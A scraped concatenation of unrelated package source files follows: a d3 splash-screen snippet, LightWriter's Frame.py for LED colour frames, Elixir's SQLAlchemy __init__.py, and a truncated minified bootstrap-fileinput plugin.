(event.clientX){ var x = event.clientX; var y = event.clientY; var elementMouseIsOver = document.elementFromPoint(x, y); if (!elementMouseIsOver.id.includes("splash")) show = true; } } //only hide if the data is loaded if (typeof viewerParams !== 'undefined') if (!viewerParams.loaded) show = true; var fdur = 700.; var splash = d3.select("#splash"); if (show) splash.classed("hidden",false); var op = 1; if (!show) { op = 0. } splash.transition() .ease(d3.easeLinear) .duration(fdur) .style("opacity", op) .on("end", function(d){ if (!show) splash.classed("hidden",true); }) } function showSleep(){ var fdur = 700 var splash = d3.select("#sleep"); splash.style("display","block"); splash.transition() .ease(d3.easeLinear) .duration(fdur) .style("opacity", 0.95); } function hideSleep(){ var fdur = 700.; var splash = d3.select("#sleep"); splash.transition() .ease(d3.easeLinear) .duration(fdur) .style("opacity", 0) .on("end", function(d){ splash.style("display","none"); }) // startup the app and reset the time-- maybe I should move this stuff to the top // of animate? hmm... var currentTime = new Date(); var seconds = currentTime.getTime()/1000; viewerParams.currentTime = seconds; viewerParams.pauseAnimation = false; }
PypiClean
/LightWriter-1.1.0.tar.gz/LightWriter-1.1.0/lightwriter/Frame.py
import math import random import webcolors class Frame(object): def __init__(self): self.data = [] for i in range(10): self.data.append([0, 0, 0, 0]) def set_color_by_name(self, name, node=None): rgb = webcolors.name_to_rgb(name) self.set_color_by_rgb(*rgb, node=node) def set_color_by_rgb(self, r, g, b, node=None): nodes = [node] if node is not None else range(10) for i in nodes: self.data[i] = [0, r, b, g] def set_brightness(self, percent, allow_zero=False, node=None): factor = percent / 100.0 nodes = [node] if node is not None else range(10) for i in nodes: for j in range(1, 4): self.data[i][j] = int(factor * self.data[i][j]) if not allow_zero and self.data[i][j] == 0: self.data[i][j] += 1 def gradiant(self): for i in range(1, 11): self.set_brightness(i * 10, node=i-1) def shift(self, n): self.data = self.data[-n:] + self.data[:-n] def random(self, node=None): nodes = [node] if node else range(10) for i in nodes: for j in range(1, 4): self.data[i][j] = random.randint(0, 254) def height(self, height=10): for i in range(10, height-1, -1): self.set_color_by_name('black', node=i) def set_node_colors_by_name(self, nodes): nodes = self._distribute_nodes(nodes) for i in range(10): self.set_color_by_name(nodes[i], node=i) def set_node_colors_by_rgb(self, nodes): nodes = self._distribute_nodes(nodes) for i in range(10): self.set_color_by_rgb(nodes[i][0], nodes[i][1], nodes[i][2], node=i) def _distribute_nodes(self, nodes): groups = [] for i in range(len(nodes)): groups.append([]) for j in range(int(math.floor(10.0 / len(nodes)))): groups[i].append(nodes[i]) num_additional = 10 - len(groups[0]) * len(groups) multiplier = 1 middle = int(math.floor(len(groups) / 2.0)) for i in range(num_additional): groups[middle].append(groups[middle][0]) middle += i * multiplier multiplier *= -1 return [item for sublist in groups for item in sublist]
PypiClean
/Elixir-0.7.1.tar.gz/Elixir-0.7.1/elixir/__init__.py
try: set except NameError: from sets import Set as set import sqlalchemy from sqlalchemy.types import * from elixir.options import using_options, using_table_options, \ using_mapper_options, options_defaults, \ using_options_defaults from elixir.entity import Entity, EntityBase, EntityMeta, EntityDescriptor, \ setup_entities, cleanup_entities from elixir.fields import has_field, Field from elixir.relationships import belongs_to, has_one, has_many, \ has_and_belongs_to_many, \ ManyToOne, OneToOne, OneToMany, ManyToMany from elixir.properties import has_property, GenericProperty, ColumnProperty, \ Synonym from elixir.statements import Statement from elixir.collection import EntityCollection, GlobalEntityCollection __version__ = '0.7.1' __all__ = ['Entity', 'EntityBase', 'EntityMeta', 'EntityCollection', 'entities', 'Field', 'has_field', 'has_property', 'GenericProperty', 'ColumnProperty', 'Synonym', 'belongs_to', 'has_one', 'has_many', 'has_and_belongs_to_many', 'ManyToOne', 'OneToOne', 'OneToMany', 'ManyToMany', 'using_options', 'using_table_options', 'using_mapper_options', 'options_defaults', 'using_options_defaults', 'metadata', 'session', 'create_all', 'drop_all', 'setup_all', 'cleanup_all', 'setup_entities', 'cleanup_entities'] + \ sqlalchemy.types.__all__ __doc_all__ = ['create_all', 'drop_all', 'setup_all', 'cleanup_all', 'metadata', 'session'] # default session session = sqlalchemy.orm.scoped_session(sqlalchemy.orm.sessionmaker()) # default metadata metadata = sqlalchemy.MetaData() metadatas = set() # default entity collection entities = GlobalEntityCollection() def create_all(*args, **kwargs): '''Create the necessary tables for all declared entities''' for md in metadatas: md.create_all(*args, **kwargs) def drop_all(*args, **kwargs): '''Drop tables for all declared entities''' for md in metadatas: md.drop_all(*args, **kwargs) def setup_all(create_tables=False, *args, **kwargs): '''Setup the table and mapper of all entities in the default entity collection. This is called automatically if any entity of the collection is configured with the `autosetup` option and it is first accessed, instanciated (called) or the create_all method of a metadata containing tables from any of those entities is called. ''' setup_entities(entities) # issue the "CREATE" SQL statements if create_tables: create_all(*args, **kwargs) def cleanup_all(drop_tables=False, *args, **kwargs): '''Clear all mappers, clear the session, and clear all metadatas. Optionally drops the tables. ''' session.close() cleanup_entities(entities) sqlalchemy.orm.clear_mappers() entities.clear() if drop_tables: drop_all(*args, **kwargs) for md in metadatas: md.clear() metadatas.clear()
PypiClean
/FamcyDev-0.3.71-py3-none-any.whl/Famcy/bower_components/bootstrap-fileinput/js/fileinput.min.js
!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof module&&module.exports?module.exports=e(require("jquery")):e(window.jQuery)}(function(e){"use strict";e.fn.fileinputLocales={},e.fn.fileinputThemes={},e.fn.fileinputBsVersion||(e.fn.fileinputBsVersion=window.Alert&&window.Alert.VERSION||window.bootstrap&&window.bootstrap.Alert&&bootstrap.Alert.VERSION||"3.x.x"),String.prototype.setTokens=function(e){var t,i,a=this.toString();for(t in e)e.hasOwnProperty(t)&&(i=new RegExp("{"+t+"}","g"),a=a.replace(i,e[t]));return a},Array.prototype.flatMap||(Array.prototype.flatMap=function(e){return[].concat(this.map(e))});var t,i;t={FRAMES:".kv-preview-thumb",SORT_CSS:"file-sortable",INIT_FLAG:"init-",OBJECT_PARAMS:'<param name="controller" value="true" />\n<param name="allowFullScreen" value="true" />\n<param name="allowScriptAccess" value="always" />\n<param name="autoPlay" value="false" />\n<param name="autoStart" value="false" />\n<param name="quality" value="high" />\n',DEFAULT_PREVIEW:'<div class="file-preview-other">\n<span class="{previewFileIconClass}">{previewFileIcon}</span>\n</div>',MODAL_ID:"kvFileinputModal",MODAL_EVENTS:["show","shown","hide","hidden","loaded"],logMessages:{ajaxError:"{status}: {error}. Error Details: {text}.",badDroppedFiles:"Error scanning dropped files!",badExifParser:"Error loading the piexif.js library. {details}",badInputType:'The input "type" must be set to "file" for initializing the "bootstrap-fileinput" plugin.',exifWarning:'To avoid this warning, either set "autoOrientImage" to "false" OR ensure you have loaded the "piexif.js" library correctly on your page before the "fileinput.js" script.',invalidChunkSize:'Invalid upload chunk size: "{chunkSize}". Resumable uploads are disabled.',invalidThumb:'Invalid thumb frame with id: "{id}".',noResumableSupport:"The browser does not support resumable or chunk uploads.",noUploadUrl:'The "uploadUrl" is not set. Ajax uploads and resumable uploads have been disabled.',retryStatus:"Retrying upload for chunk # {chunk} for {filename}... retry # {retry}.",chunkQueueError:"Could not push task to ajax pool for chunk index # {index}.",resumableMaxRetriesReached:"Maximum resumable ajax retries ({n}) reached.",resumableRetryError:"Could not retry the resumable request (try # {n})... aborting.",resumableAborting:"Aborting / cancelling the resumable request.",resumableRequestError:"Error processing resumable request. {msg}"},objUrl:window.URL||window.webkitURL,isBs:function(t){var i=e.trim((e.fn.fileinputBsVersion||"")+"");return t=parseInt(t,10),i?t===parseInt(i.charAt(0),10):4===t},defaultButtonCss:function(e){return"btn-default btn-"+(e?"":"outline-")+"secondary"},now:function(){return(new Date).getTime()},round:function(e){return e=parseFloat(e),isNaN(e)?0:Math.floor(Math.round(e))},getArray:function(e){var t,i=[],a=e&&e.length||0;for(t=0;a>t;t++)i.push(e[t]);return i},getFileRelativePath:function(e){return String(e.newPath||e.relativePath||e.webkitRelativePath||t.getFileName(e)||null)},getFileId:function(e,i){var a=t.getFileRelativePath(e);return"function"==typeof i?i(e):e&&a?e.size+"_"+encodeURIComponent(a).replace(/%/g,"_"):null},getFrameSelector:function(e,t){return t=t||"",'[id="'+e+'"]'+t},getZoomSelector:function(e,i){return t.getFrameSelector("zoom-"+e,i)},getFrameElement:function(e,i,a){return e.find(t.getFrameSelector(i,a))},getZoomElement:function(e,i,a){return e.find(t.getZoomSelector(i,a))},getElapsed:function(i){var a=i,r="",n={},o={year:31536e3,month:2592e3,week:604800,day:86400,hour:3600,minute:60,second:1};return t.getObjectKeys(o).forEach(function(e){n[e]=Math.floor(a/o[e]),a-=n[e]*o[e]}),e.each(n,function(e,t){t>0&&(r+=(r?" ":"")+t+e.substring(0,1))}),r},debounce:function(e,t){var i;return function(){var a=arguments,r=this;clearTimeout(i),i=setTimeout(function(){e.apply(r,a)},t)}},stopEvent:function(e){e.stopPropagation(),e.preventDefault()},getFileName:function(e){return e?e.fileName||e.name||"":""},createObjectURL:function(e){return t.objUrl&&t.objUrl.createObjectURL&&e?t.objUrl.createObjectURL(e):""},revokeObjectURL:function(e){t.objUrl&&t.objUrl.revokeObjectURL&&e&&t.objUrl.revokeObjectURL(e)},compare:function(e,t,i){return void 0!==e&&(i?e===t:e.match(t))},isIE:function(e){var t,i;return"Microsoft Internet Explorer"!==navigator.appName?!1:10===e?new RegExp("msie\\s"+e,"i").test(navigator.userAgent):(t=document.createElement("div"),t.innerHTML="<!--[if IE "+e+"]> <i></i> <![endif]-->",i=t.getElementsByTagName("i").length,document.body.appendChild(t),t.parentNode.removeChild(t),i)},canOrientImage:function(t){var i=e(document.createElement("img")).css({width:"1px",height:"1px"}).insertAfter(t),a=i.css("image-orientation");return i.remove(),!!a},canAssignFilesToInput:function(){var e=document.createElement("input");try{return e.type="file",e.files=null,!0}catch(t){return!1}},getDragDropFolders:function(e){var t,i,a=e?e.length:0,r=0;if(a>0&&e[0].webkitGetAsEntry())for(t=0;a>t;t++)i=e[t].webkitGetAsEntry(),i&&i.isDirectory&&r++;return r},initModal:function(t){var i=e("body");i.length&&t.appendTo(i)},isFunction:function(e){return"function"==typeof e},isEmpty:function(i,a){return void 0===i||null===i||""===i?!0:t.isString(i)&&a?""===e.trim(i):t.isArray(i)?0===i.length:!(!e.isPlainObject(i)||!e.isEmptyObject(i))},isArray:function(e){return Array.isArray(e)||"[object Array]"===Object.prototype.toString.call(e)},isString:function(e){return"[object String]"===Object.prototype.toString.call(e)},ifSet:function(e,t,i){return i=i||"",t&&"object"==typeof t&&e in t?t[e]:i},cleanArray:function(e){return e instanceof Array||(e=[]),e.filter(function(e){return void 0!==e&&null!==e})},spliceArray:function(t,i,a){var r,n,o=0,s=[];if(!(t instanceof Array))return[];for(n=e.extend(!0,[],t),a&&n.reverse(),r=0;r<n.length;r++)r!==i&&(s[o]=n[r],o++);return a&&s.reverse(),s},getNum:function(e,t){return t=t||0,"number"==typeof e?e:("string"==typeof e&&(e=parseFloat(e)),isNaN(e)?t:e)},hasFileAPISupport:function(){return!(!window.File||!window.FileReader)},hasDragDropSupport:function(){var e=document.createElement("div");return!t.isIE(9)&&(void 0!==e.draggable||void 0!==e.ondragstart&&void 0!==e.ondrop)},hasFileUploadSupport:function(){return t.hasFileAPISupport()&&window.FormData},hasBlobSupport:function(){try{return!!window.Blob&&Boolean(new Blob)}catch(e){return!1}},hasArrayBufferViewSupport:function(){try{return 100===new Blob([new Uint8Array(100)]).size}catch(e){return!1}},hasResumableUploadSupport:function(){return t.hasFileUploadSupport()&&t.hasBlobSupport()&&t.hasArrayBufferViewSupport()&&(!!Blob.prototype.webkitSlice||!!Blob.prototype.mozSlice||!!Blob.prototype.slice||!1)},dataURI2Blob:function(e){var i,a,r,n,o,s,l=window.BlobBuilder||window.WebKitBlobBuilder||window.MozBlobBuilder||window.MSBlobBuilder,d=t.hasBlobSupport(),c=(d||l)&&window.atob&&window.ArrayBuffer&&window.Uint8Array;if(!c)return null;for(i=e.split(",")[0].indexOf("base64")>=0?atob(e.split(",")[1]):decodeURIComponent(e.split(",")[1]),a=new ArrayBuffer(i.length),r=new Uint8Array(a),n=0;n<i.length;n+=1)r[n]=i.charCodeAt(n);return o=e.split(",")[0].split(":")[1].split(";")[0],d?new Blob([t.hasArrayBufferViewSupport()?r:a],{type:o}):(s=new l,s.append(a),s.getBlob(o))},arrayBuffer2String:function(e){if(window.TextDecoder)return new TextDecoder("utf-8").decode(e);var t,i,a,r,n=Array.prototype.slice.apply(new Uint8Array(e)),o="",s=0;for(t=n.length;t>s;)switch(i=n[s++],i>>4){case 0:case 1:case 2:case 3:case 4:case 5:case 6:case 7:o+=String.fromCharCode(i);break;case 12:case 13:a=n[s++],o+=String.fromCharCode((31&i)<<6|63&a);break;case 14:a=n[s++],r=n[s++],o+=String.fromCharCode((15&i)<<12|(63&a)<<6|(63&r)<<0)}return o},isHtml:function(e){var t=document.createElement("div");t.innerHTML=e;for(var i=t.childNodes,a=i.length;a--;)if(1===i[a].nodeType)return!0;return!1},isSvg:function(e){return e.match(/^\s*<\?xml/i)&&(e.match(/<!DOCTYPE svg/i)||e.match(/<svg/i))},getMimeType:function(e,t,i){switch(e){case"ffd8ffe0":case"ffd8ffe1":case"ffd8ffe2":return"image/jpeg";case"89504e47":return"image/png";case"47494638":return"image/gif";case"49492a00":return"image/tiff";case"52494646":return"image/webp";case"66747970":return"video/3gp";case"4f676753":return"video/ogg";case"1a45dfa3":return"video/mkv";case"000001ba":case"000001b3":return"video/mpeg";case"3026b275":return"video/wmv";case"25504446":return"application/pdf";case"25215053":return"application/ps";case"504b0304":case"504b0506":case"504b0508":return"application/zip";case"377abcaf":return"application/7z";case"75737461":return"application/tar";case"7801730d":return"application/dmg";default:switch(e.substring(0,6)){case"435753":return"application/x-shockwave-flash";case"494433":return"audio/mp3";case"425a68":return"application/bzip";default:switch(e.substring(0,4)){case"424d":return"image/bmp";case"fffb":return"audio/mp3";case"4d5a":return"application/exe";case"1f9d":case"1fa0":return"application/zip";case"1f8b":return"application/gzip";default:return t&&!t.match(/[^\u0000-\u007f]/)?"application/text-plain":i}}}},addCss:function(e,t){e.removeClass(t).addClass(t)},getElement:function(i,a,r){return t.isEmpty(i)||t.isEmpty(i[a])?r:e(i[a])},createElement:function(t,i){return i=i||"div",e(e.parseHTML("<"+i+">"+t+"</"+i+">"))},uniqId:function(){return((new Date).getTime()+Math.floor(Math.random()*Math.pow(10,15))).toString(36)},cspBuffer:{CSP_ATTRIB:"data-csp-01928735",domElementsStyles:{},stash:function(i){var a=this,r=e.parseHTML("<div>"+i+"</div>"),n=e(r);n.find("[style]").each(function(i,r){var n=e(r),o=n[0].style,s=t.uniqId(),l={};o&&o.length&&(e(o).each(function(){l[this]=o[this]}),a.domElementsStyles[s]=l,n.removeAttr("style").attr(a.CSP_ATTRIB,s))}),n.filter("*").removeAttr("style");var o=Object.values?Object.values(r):Object.keys(r).map(function(e){return r[e]});return o.flatMap(function(e){return e.innerHTML}).join("")},apply:function(t){var i=this,a=e(t);a.find("["+i.CSP_ATTRIB+"]").each(function(t,a){var r=e(a),n=r.attr(i.CSP_ATTRIB),o=i.domElementsStyles[n];o&&r.css(o),r.removeAttr(i.CSP_ATTRIB)}),i.domElementsStyles={}}},setHtml:function(e,i){var a=t.cspBuffer;return e.html(a.stash(i)),a.apply(e),e},htmlEncode:function(e,t){return void 0===e?t||null:e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&apos;")},replaceTags:function(t,i){var a=t;return i?(e.each(i,function(e,t){"function"==typeof t&&(t=t()),a=a.split(e).join(t)}),a):a},cleanMemory:function(e){var i=e.is("img")?e.attr("src"):e.find("source").attr("src");t.revokeObjectURL(i)},findFileName:function(e){var t=e.lastIndexOf("/");return-1===t&&(t=e.lastIndexOf("\\")),e.split(e.substring(t,t+1)).pop()},checkFullScreen:function(){return document.fullscreenElement||document.mozFullScreenElement||document.webkitFullscreenElement||document.msFullscreenElement},toggleFullScreen:function(e){var i=document,a=i.documentElement,r=t.checkFullScreen();a&&e&&!r?a.requestFullscreen?a.requestFullscreen():a.msRequestFullscreen?a.msRequestFullscreen():a.mozRequestFullScreen?a.mozRequestFullScreen():a.webkitRequestFullscreen&&a.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT):r&&(i.exitFullscreen?i.exitFullscreen():i.msExitFullscreen?i.msExitFullscreen():i.mozCancelFullScreen?i.mozCancelFullScreen():i.webkitExitFullscreen&&i.webkitExitFullscreen())},moveArray:function(t,i,a,r){var n=e.extend(!0,[],t);if(r&&n.reverse(),a>=n.length)for(var o=a-n.length;o--+1;)n.push(void 0);return n.splice(a,0,n.splice(i,1)[0]),r&&n.reverse(),n},closeButton:function(e){return e=(t.isBs(5)?"btn-close":"close")+(e?" "+e:""),'<button type="button" class="'+e+'" aria-label="Close">\n'+(t.isBs(5)?"":' <span aria-hidden="true">&times;</span>\n')+"</button>"},getRotation:function(e){switch(e){case 2:return"rotateY(180deg)";case 3:return"rotate(180deg)";case 4:return"rotate(180deg) rotateY(180deg)";case 5:return"rotate(270deg) rotateY(180deg)";case 6:return"rotate(90deg)";case 7:return"rotate(90deg) rotateY(180deg)";case 8:return"rotate(270deg)";default:return""}},setTransform:function(e,t){e&&(e.style.transform=t,e.style.webkitTransform=t,e.style["-moz-transform"]=t,e.style["-ms-transform"]=t,e.style["-o-transform"]=t)},getObjectKeys:function(t){var i=[];return t&&e.each(t,function(e){i.push(e)}),i},getObjectSize:function(e){return t.getObjectKeys(e).length},whenAll:function(i){var a,r,n,o,s,l,d=[].slice,c=1===arguments.length&&t.isArray(i)?i:d.call(arguments),u=e.Deferred(),p=0,f=c.length,g=f;for(n=o=s=Array(f),l=function(e,t,i){return function(){i!==c&&p++,u.notifyWith(t[e]=this,i[e]=d.call(arguments)),--g||u[(p?"reject":"resolve")+"With"](t,i)}},a=0;f>a;a++)(r=c[a])&&e.isFunction(r.promise)?r.promise().done(l(a,s,c)).fail(l(a,n,o)):(u.notifyWith(this,r),--g);return g||u.resolveWith(s,c),u.promise()}},i=function(i,a){var r=this;r.$element=e(i),r.$parent=r.$element.parent(),r._validate()&&(r.isPreviewable=t.hasFileAPISupport(),r.isIE9=t.isIE(9),r.isIE10=t.isIE(10),(r.isPreviewable||r.isIE9)&&(r._init(a),r._listen()),r.$element.removeClass("file-loading"))},i.prototype={constructor:i,_cleanup:function(){var e=this;e.reader=null,e.clearFileStack(),e.fileBatchCompleted=!0,e.isError=!1,e.isDuplicateError=!1,e.isPersistentError=!1,e.cancelling=!1,e.paused=!1,e.lastProgress=0,e._initAjax()},_isAborted:function(){var e=this;return e.cancelling||e.paused},_initAjax:function(){var i=this,a=i.taskManager={pool:{},addPool:function(e){return a.pool[e]=new a.TasksPool(e)},getPool:function(e){return a.pool[e]},addTask:function(e,t){return new a.Task(e,t)},TasksPool:function(i){var r=this;r.id=i,r.cancelled=!1,r.cancelledDeferrer=e.Deferred(),r.tasks={},r.addTask=function(e,t){return r.tasks[e]=new a.Task(e,t)},r.size=function(){return t.getObjectSize(r.tasks)},r.run=function(i){var a,n,o,s=0,l=!1,d=t.getObjectKeys(r.tasks).map(function(e){return r.tasks[e]}),c=[],u=e.Deferred();if(r.cancelled)return r.cancelledDeferrer.resolve(),u.reject();if(!i){var p=t.getObjectKeys(r.tasks).map(function(e){return r.tasks[e].deferred});return t.whenAll(p).done(function(){var e=t.getArray(arguments);r.cancelled?(u.reject.apply(null,e),r.cancelledDeferrer.resolve()):(u.resolve.apply(null,e),r.cancelledDeferrer.reject())}).fail(function(){var e=t.getArray(arguments);u.reject.apply(null,e),r.cancelled?r.cancelledDeferrer.resolve():r.cancelledDeferrer.reject()}),e.each(r.tasks,function(e){a=r.tasks[e],a.run()}),u}for(n=function(t){e.when(t.deferred).fail(function(){l=!0,o.apply(null,arguments)}).always(o)},o=function(){var e=t.getArray(arguments);return u.notify(e),c.push(e),r.cancelled?(u.reject.apply(null,c),void r.cancelledDeferrer.resolve()):(c.length===r.size()&&(l?u.reject.apply(null,c):u.resolve.apply(null,c)),void(d.length&&(a=d.shift(),n(a),a.run())))};d.length&&s++<i;)a=d.shift(),n(a),a.run();return u},r.cancel=function(){return r.cancelled=!0,r.cancelledDeferrer}},Task:function(i,a){var r=this;r.id=i,r.deferred=e.Deferred(),r.logic=a,r.context=null,r.run=function(){var e=t.getArray(arguments);return e.unshift(r.deferred),a.apply(r.context,e),r.deferred},r.runWithContext=function(e){return r.context=e,r.run()}}};i.ajaxQueue=[],i.ajaxRequests=[],i.ajaxAborted=!1},_init:function(i,a){var r,n,o,s,l=this,d=l.$element;l.options=i,l.canOrientImage=t.canOrientImage(d),e.each(i,function(e,i){switch(e){case"minFileCount":case"maxFileCount":case"maxTotalFileCount":case"minFileSize":case"maxFileSize":case"maxFilePreviewSize":case"resizeQuality":case"resizeIfSizeMoreThan":case"progressUploadThreshold":case"initialPreviewCount":case"zoomModalHeight":case"minImageHeight":case"maxImageHeight":case"minImageWidth":case"maxImageWidth":l[e]=t.getNum(i);break;default:l[e]=i}}),void 0===l.errorCloseButton&&(l.errorCloseButton=t.closeButton("kv-error-close"+(t.isBs(5)?" float-end":""))),l.maxTotalFileCount>0&&l.maxTotalFileCount<l.maxFileCount&&(l.maxTotalFileCount=l.maxFileCount),l.rtl&&(s=l.previewZoomButtonIcons.prev,l.previewZoomButtonIcons.prev=l.previewZoomButtonIcons.next,l.previewZoomButtonIcons.next=s),!isNaN(l.maxAjaxThreads)&&l.maxAjaxThreads<l.resumableUploadOptions.maxThreads&&(l.resumableUploadOptions.maxThreads=l.maxAjaxThreads),l._initFileManager(),"function"==typeof l.autoOrientImage&&(l.autoOrientImage=l.autoOrientImage()),"function"==typeof l.autoOrientImageInitial&&(l.autoOrientImageInitial=l.autoOrientImageInitial()),a||l._cleanup(),l.duplicateErrors=[],l.$form=d.closest("form"),l._initTemplateDefaults(),l.uploadFileAttr=t.isEmpty(d.attr("name"))?"file_data":d.attr("name"),o=l._getLayoutTemplate("progress"),l.progressTemplate=o.replace("{class}",l.progressClass),l.progressInfoTemplate=o.replace("{class}",l.progressInfoClass),l.progressPauseTemplate=o.replace("{class}",l.progressPauseClass),l.progressCompleteTemplate=o.replace("{class}",l.progressCompleteClass),l.progressErrorTemplate=o.replace("{class}",l.progressErrorClass),l.isDisabled=d.attr("disabled")||d.attr("readonly"),l.isDisabled&&d.attr("disabled",!0),l.isClickable=l.browseOnZoneClick&&l.showPreview&&(l.dropZoneEnabled||!t.isEmpty(l.defaultPreviewContent)),l.isAjaxUpload=t.hasFileUploadSupport()&&!t.isEmpty(l.uploadUrl),l.dropZoneEnabled=t.hasDragDropSupport()&&l.dropZoneEnabled,l.isAjaxUpload||(l.dropZoneEnabled=l.dropZoneEnabled&&t.canAssignFilesToInput()),l.slug="function"==typeof i.slugCallback?i.slugCallback:l._slugDefault,l.mainTemplate=l.showCaption?l._getLayoutTemplate("main1"):l._getLayoutTemplate("main2"),l.captionTemplate=l._getLayoutTemplate("caption"),l.previewGenericTemplate=l._getPreviewTemplate("generic"),!l.imageCanvas&&l.resizeImage&&(l.maxImageWidth||l.maxImageHeight)&&(l.imageCanvas=document.createElement("canvas"),l.imageCanvasContext=l.imageCanvas.getContext("2d")),t.isEmpty(d.attr("id"))&&d.attr("id",t.uniqId()),l.namespace=".fileinput_"+d.attr("id").replace(/-/g,"_"),void 0===l.$container?l.$container=l._createContainer():l._refreshContainer(),n=l.$container,l.$dropZone=n.find(".file-drop-zone"),l.$progress=n.find(".kv-upload-progress"),l.$btnUpload=n.find(".fileinput-upload"),l.$captionContainer=t.getElement(i,"elCaptionContainer",n.find(".file-caption")),l.$caption=t.getElement(i,"elCaptionText",n.find(".file-caption-name")),t.isEmpty(l.msgPlaceholder)||(r=d.attr("multiple")?l.filePlural:l.fileSingle,l.$caption.attr("placeholder",l.msgPlaceholder.replace("{files}",r))),l.$captionIcon=l.$captionContainer.find(".file-caption-icon"),l.$previewContainer=t.getElement(i,"elPreviewContainer",n.find(".file-preview")),l.$preview=t.getElement(i,"elPreviewImage",n.find(".file-preview-thumbnails")),l.$previewStatus=t.getElement(i,"elPreviewStatus",n.find(".file-preview-status")),l.$errorContainer=t.getElement(i,"elErrorContainer",l.$previewContainer.find(".kv-fileinput-error")),l._validateDisabled(),t.isEmpty(l.msgErrorClass)||t.addCss(l.$errorContainer,l.msgErrorClass),a?l._errorsExist()||l.$errorContainer.hide():(l._resetErrors(),l.$errorContainer.hide(),l.previewInitId="thumb-"+d.attr("id"),l._initPreviewCache(),l._initPreview(!0),l._initPreviewActions(),l.$parent.hasClass("file-loading")&&(l.$container.insertBefore(l.$parent),l.$parent.remove())),l._setFileDropZoneTitle(),d.attr("disabled")&&l.disable(),l._initZoom(),l.hideThumbnailContent&&t.addCss(l.$preview,"hide-content")},_initFileManager:function(){var i=this;i.uploadStartTime=t.now(),i.fileManager={stack:{},filesProcessed:[],errors:[],loadedImages:{},totalImages:0,totalFiles:null,totalSize:null,uploadedSize:0,stats:{},bpsLog:[],bps:0,initStats:function(e){var a={started:t.now()};e?i.fileManager.stats[e]=a:i.fileManager.stats=a},getUploadStats:function(e,a,r){var n,o=i.fileManager,s=e?o.stats[e]&&o.stats[e].started||t.now():i.uploadStartTime,l=(t.now()-s)/1e3,d=["B/s","KB/s","MB/s","GB/s","TB/s","PB/s","EB/s","ZB/s","YB/s"],c=Math.ceil(l?a/l:0),u=r-a,p=o.bpsLog.length?i.bitrateUpdateDelay:0;return setTimeout(function(){var e,t,i,a=0,r=0;for(o.bpsLog.push(c),o.bpsLog.sort(function(e,t){return e-t}),t=o.bpsLog.length,i=t>10?t-10:Math.ceil(t/2),e=t;e>i;e--)r=parseFloat(o.bpsLog[e]),a++;o.bps=64*(a>0?r/a:0)},p),n={fileId:e,started:s,elapsed:l,loaded:a,total:r,bps:o.bps,bitrate:i._getSize(o.bps,d),pendingBytes:u},e?o.stats[e]=n:o.stats=n,n},exists:function(t){return-1!==e.inArray(t,i.fileManager.getIdList())},count:function(){return i.fileManager.getIdList().length},total:function(){var e=i.fileManager;return e.totalFiles||(e.totalFiles=e.count()),e.totalFiles},getTotalSize:function(){var t=i.fileManager;return t.totalSize?t.totalSize:(t.totalSize=0,e.each(i.getFileStack(),function(e,i){var a=parseFloat(i.size);t.totalSize+=isNaN(a)?0:a}),t.totalSize)},add:function(e,a){a||(a=i.fileManager.getId(e)),a&&(i.fileManager.stack[a]={file:e,name:t.getFileName(e),relativePath:t.getFileRelativePath(e),size:e.size,nameFmt:i._getFileName(e,""),sizeFmt:i._getSize(e.size)})},remove:function(e){var t=i._getThumbFileId(e);i.fileManager.removeFile(t)},removeFile:function(e){var t=i.fileManager;e&&(delete t.stack[e],delete t.loadedImages[e])},move:function(t,a){var r={},n=i.fileManager.stack;(t||a)&&t!==a&&(e.each(n,function(e,i){e!==t&&(r[e]=i),e===a&&(r[t]=n[t])}),i.fileManager.stack=r)},list:function(){var t=[];return e.each(i.getFileStack(),function(e,i){i&&i.file&&t.push(i.file)}),t},isPending:function(t){return-1===e.inArray(t,i.fileManager.filesProcessed)&&i.fileManager.exists(t)},isProcessed:function(){var t=!0,a=i.fileManager;return e.each(i.getFileStack(),function(e){a.isPending(e)&&(t=!1)}),t},clear:function(){var e=i.fileManager;i.isDuplicateError=!1,i.isPersistentError=!1,e.totalFiles=null,e.totalSize=null,e.uploadedSize=0,e.stack={},e.errors=[],e.filesProcessed=[],e.stats={},e.bpsLog=[],e.bps=0,e.clearImages()},clearImages:function(){i.fileManager.loadedImages={},i.fileManager.totalImages=0},addImage:function(e,t){i.fileManager.loadedImages[e]=t},removeImage:function(e){delete i.fileManager.loadedImages[e]},getImageIdList:function(){return t.getObjectKeys(i.fileManager.loadedImages)},getImageCount:function(){return i.fileManager.getImageIdList().length},getId:function(e){return i._getFileId(e)},getIndex:function(e){return i.fileManager.getIdList().indexOf(e)},getThumb:function(t){var a=null;return i._getThumbs().each(function(){var r=e(this);i._getThumbFileId(r)===t&&(a=r)}),a},getThumbIndex:function(e){var t=i._getThumbFileId(e);return i.fileManager.getIndex(t)},getIdList:function(){return t.getObjectKeys(i.fileManager.stack)},getFile:function(e){return i.fileManager.stack[e]||null},getFileName:function(e,t){var a=i.fileManager.getFile(e);return a?t?a.nameFmt||"":a.name||"":""},getFirstFile:function(){var e=i.fileManager.getIdList(),t=e&&e.length?e[0]:null;return i.fileManager.getFile(t)},setFile:function(e,t){i.fileManager.getFile(e)?i.fileManager.stack[e].file=t:i.fileManager.add(t,e)},setProcessed:function(e){i.fileManager.filesProcessed.push(e)},getProgress:function(){var e=i.fileManager.total(),t=i.fileManager.filesProcessed.length;return e?Math.ceil(t/e*100):0},setProgress:function(e,t){var a=i.fileManager.getFile(e);!isNaN(t)&&a&&(a.progress=t)}}},_setUploadData:function(i,a){var r=this;e.each(a,function(e,a){var n=r.uploadParamNames[e]||e;t.isArray(a)?i.append(n,a[0],a[1]):i.append(n,a)})},_initResumableUpload:function(){var i,a=this,r=a.resumableUploadOptions,n=t.logMessages,o=a.fileManager;if(a.enableResumableUpload){if(r.fallback!==!1&&"function"!=typeof r.fallback&&(r.fallback=function(e){e._log(n.noResumableSupport),e.enableResumableUpload=!1}),!t.hasResumableUploadSupport()&&r.fallback!==!1)return void r.fallback(a);if(!a.uploadUrl&&a.enableResumableUpload)return a._log(n.noUploadUrl),void(a.enableResumableUpload=!1);if(r.chunkSize=parseFloat(r.chunkSize),r.chunkSize<=0||isNaN(r.chunkSize))return 